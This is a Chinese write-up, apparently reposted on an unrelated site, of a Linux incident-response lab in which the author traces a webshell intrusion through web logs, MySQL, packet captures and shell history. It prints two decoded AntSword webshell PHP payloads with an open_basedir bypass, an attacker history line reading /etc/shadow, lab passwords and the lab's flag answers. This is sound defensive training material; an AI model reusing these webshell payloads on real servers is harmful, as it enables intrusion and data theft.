首页 分享 应急响应靶场练习Linux

应急响应靶场练习Linux

来源:萌宠菠菠乐园 时间:2024-09-21 16:18

一、前言

本次应急响应靶机采用的是知攻善防实验室的Linux-2应急响应靶机

靶机下载地址为:

https://pan.quark.cn/s/c904f2f8ed38

相关账户密码: root/Inch@957821.(第一个为大写的i,记住要带最后的点.)

二、背景

前景需要:看监控的时候发现webshell告警,领导让你上机检查你可以救救安服仔吗!!
挑战内容:
(1)提交攻击者IP
(2)提交攻击者修改的管理员密码(明文)
(3)提交第一次Webshell的连接URL(http://xxx.xxx.xxx.xx/abcdefg?abcdefg只需要提交abcdefg?abcdefg)
(4)提交Webshell连接密码
(5)提交数据包的flag1
(6)提交攻击者使用的后续上传的木马文件名称
(7)提交攻击者隐藏的flag2
(8)提交攻击者隐藏的flag3

三、解题

第一题 攻击者ip

启动靶机

image-20240816232542476

登录靶机,查看IP地址,用另一台主机通过ssh协议用kali连接该靶机。

image-20240816233033060

image-20240816233626312

在ssh连接成功的根目录下有一个数据包文件,和一个wp文件。

运行wp文件,是一个解题系统。

image-20240816233833782

想要知道攻击者的ip地址,那肯定是要去看web日志文件,看看里面有没有攻击者留下的痕迹

cd /www cd wwwlogs cat 127.0.0.1.log 123

image-20240816234220457

几乎全都是192.168.20.1。

那么攻击者ip几乎可以确定为192.168.20.1。

第二题、攻击者修改的管理员密码(明文)

输入netstat -lntup查看网络连接信息

image-20240816234807955

发现有3306端口开放也就是mysql数据库

那么我们应该是需要登录上mysql来查看管理员密码

find / -name config.inc.php(数据库常用配置文件名)

直接find搜索配置文件

image-20240816234935501

cat /www/wwwroot/127.0.0.1/lib/config.inc.php

image-20240816235044735

也是成功知道了数据库用户名和密码

kaoshi/5Sx8mK5ieyLPb84m

运用得到的账户密码登录mysql

show databases;

use kaoshi;

show tables;

select * from x2_user;

image-20240816235806430

发现是md5加密的但题目要求明文那就解密一下

f6f6eb5ace977d7e114377cc7098b7e3

这边推荐一个md5解密网站

MD5免费在线解密破解_MD5在线加密-SOMD5

image-20240816235921133

解码得到:管理员密码(问题2):Network@2020

第三题、第一次连接webshell的url

在ssh连接成功的根目录下有一个数据包文件,将该数据包文件下载到本地

用wireshark进行分析了,直接过滤 攻击者ip ip.addr == 192.168.20.1

数据流全是index.php?user-app-register和version2.php ,追踪得到 url解码得到PHP代码

Network2020=@ini_set("display_errors", "0"); @set_time_limit(0); $opdir=@ini_get("open_basedir"); if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)) {continue;};$tmdir=$item."/.fd491f470fb7";@mkdir($tmdir);if(!@file_exists($tmdir)) {continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\|//",$tmdir);for ($i=0;$i<sizeof($cntarr);$i++) {@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;}; } ; ; function asenc($out) {return $out; } ; function asoutput() {$output=ob_get_contents();ob_end_clean();echo "4a0c"."dc70";echo @asenc($output);echo "db6"."da5"; } ob_start(); try {$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}";if(substr($D,0,1)!="/") {foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";} else {$R.="/";}$R.="";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="{$s}";echo $R;; } catch(Exception $e) {echo "ERROR://".$e->getMessage(); } ; asoutput(); die();

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768

那就得知了提交第一次Webshell的连接URL为(问题3)

index.php?user-app-register

第四题、webshell连接密码

根据 Network2020=@ini_set(“display_errors”, “0”); 就可以知道这段代码基本是所有WebShell客户端链接PHP类WebShell都有的一种代码,但是有的客户端会将这段编码或者加密,而蚁剑是明文,所以较好发现。

所以提交Webshell连接密码为

Network2020

第五题、flag1

直接搜索字符串flag1

image-20240817001145860

然后就看到flag1路径 打开得到flag1(问题5)

flag1{Network@_2020_Hack}

第六题、攻击者使用的后续上传的木马名称

通过wireshark的过滤器,将http包和POST请求过滤出来,因为攻击者的操作在请求包中都可以看到。

分析一下请求index.php?user-app-register地址的第二个流量包,得到PHP代码如下:

Network2020=@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)) {continue;};$tmdir=$item."/.24b0d";@mkdir($tmdir);if(!@file_exists($tmdir)) {continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\|//",$tmdir);for ($i=0;$i<sizeof($cntarr);$i++) {@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out) {return $out;};function asoutput() {$output=ob_get_contents();ob_end_clean();echo "02e"."9bd";echo @asenc($output);echo "6f2"."72a8";}ob_start();try {$D=base64_decode(substr($_POST["x0b6b31b98f31d"],2));$F=@opendir($D);if($F==NULL) {echo("ERROR:// Path Not Found Or No Permission!");} else {$M=NULL;$L=NULL;while($N=@readdir($F)) {$P=$D.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="".$T."".@filesize($P)."".$E."";if(@is_dir($P))$M.=$N."/".$R; else $L.=$N.$R;}echo $M.$L;@closedir($F);};}catch(Exception $e) {echo "ERROR://".$e->getMessage();};asoutput();die();x0b6b31b98f31d=TtL3d3dy93d3dyb290LzEyNy4wLjAuMS8= 1

其中,最后一行的x0b6b31b98f31d=TtL3d3dy93d3dyb290LzEyNy4wLjAuMS8=是需要执行的参数,因为蚁剑会将参数进行base64编码,然后在最前面随机添加两个字母,所以想知道这个参数是什么应该对L3d3dy93d3dyb290LzEyNy4wLjAuMS8=进行base64解码,得到参数为/www/wwwroot/127.0.0.1/,再结合x0b6b31b98f31d变量名的位置,得知攻击者做了查看当前目录下文件的操作,从返回包的内容也可以猜出来。
大致分析了一下这些流量包后,发现攻击者在/www/wwwroot/127.0.0.1/目录下创建了flag1 文件并写入flag,然后写入一个新的木马shell.php,再改名为version2.php,那么后续访问version2.php的流量包应该就是后续上传的木马文件了,将文件名称提交给判题程序得知正确。

通过追踪http流发现,version2.php内容如下:

攻击者使用的后续上传的木马名称:

version2.php

第七题、flag2

回到Linux机器中,看看攻击者在机器上进行了什么操作。

通过history命令,攻击者在/www/wwwroot/127.0.0.1/中创建了文件夹.api隐藏文件,然后复制了api下的文件,并修改了其中的alinotify.php文件。查看一下这个文件,看看攻击者干了什么。

[root@web-server .api]# cat alinotify.php <?phpnamespace PHPEMS;/* * Created on 2013-12-26 * * To change the template for this generated file go to * Window - Preferences - PHPeclipse - PHP - Code Templates */ define('PEPATH',dirname(dirname(__FILE__)));class app{ public $G; public function __construct() { $this->ev = PHPEMSginkgo::make('ev'); $this->order = PHPEMSginkgo::make('orders','bank'); } public function run() { $alipay = PHPEMSginkgo::make('alipay'); $orderid = $this->ev->get('out_trade_no'); $order = $this->order->getOrderById($orderid); $verify_result = $alipay->alinotify(); if($verify_result) { if($this->ev->get('trade_status') == 'TRADE_FINISHED' ||$this->ev->get('trade_status') == 'TRADE_SUCCESS') { if($order['orderstatus'] != 2) { $this->order->payforOrder($orderid,'alipay'); } exit('sucess'); } elseif($_POST['trade_status'] == 'WAIT_BUYER_PAY') { exit('fail'); } else { exit('fail'); } } else { exit('fail'); } }} include PEPATH.'/lib/init.cls.php';$app = new app(new ginkgo);$app->run();$flag2 = "flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}"; ?> 1

在文件的最后一行发现了flag2:flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}。

flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}

第八题、flag3

flag3在历史命令之中

history

[root@web-server ~]# history...此处省略... 69 cd 127.0.0.1/ 70 ls 71 ls -a 72 vim .api 73 ls 74 ls -a 75 mkdir .api 76 ls 77 ls -a 78 cd .api/ 79 l 80 ls 81 cd .. 82 ls 83 cd ap 84 cd api/ 85 ls 86 cp * ../.api/ 87 ls 88 cd .. 89 ls 90 cd .api/ 91 ls 92 vim mpnotify.php 93 yum install vim 94 ls 95 vim alinotify.php 96 cat /etc/shadow 97 who 98 w 99 history 100 useradd flag3{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ} 101 env 102 $flag3 = [root@web-server .api]# useradd flag3{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ} 103 useradd: invalid user name 'flag3{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}' 104 $flag3 = flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ} 105 vim /etc/profile 106 source /etc/p 107 source /etc/profile 108 env 1

flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}

汇总一下答案,提交解题

四、总结:

1.该攻击者的IP为192.168.20.1 2.攻击方式应该是通过/index.php?user-app-register上传了一个webshell,然后使用蚁剑管理webshell之后再次上传version2.php进行提权. 3.攻击者修改了phpmyadmin数据库的管理员密码 3.攻击者拿到权限之后 关闭了防火墙服务,并且删除了提权文件version2.php和flag1,并且修改了alinotify.php文件内容 4.并没有发现攻击者留下后门 1234567891011

五、清除加固:

1.封禁攻击者IP 2.经过测验,发现攻击者可通过22端口进行ssh连接,应当更改ssh默认端口或者关闭ssh连接 3.修复更改后的文件且还原数据库里面管理员的密码 4.对上传的文件 或者字符串进行过滤处理 5.对传入的用户数据进行预编译处理+手动过滤 防止sql注入泄露更改管理员密码 6.重启防火墙服务 7.关闭某些可以提权的shell函数 12345678910111213

六、拓展

分享一些收集的书籍,需要的自取,有帮助的帮忙点个赞关注一下哈!

image-20240817010340240
链接:https://pan.baidu.com/s/1pRguSAjhpZOY3QXcybjZ1Q
提取码:mc79

相关知识

【护网急训】应急响应靶场集,24年想参加hvv的同学抓紧练习吧。
【应急响应靶场web1】
应急响应靶机
应急响应web3靶场实战
简单的应急响应练习
应急响应练习1
【题解】应急响应靶机训练
[护网训练]应急响应靶机整理
知攻善防应急响应靶机训练
[护网训练]原创应急响应靶机整理集合

网址: 应急响应靶场练习Linux https://www.mcbbbk.com/newsview206379.html

所属分类:萌宠日常
上一篇: 台军战机失事搜救纰漏:管碧玲的邀
下一篇: 布偶猫到新家应急反应

推荐分享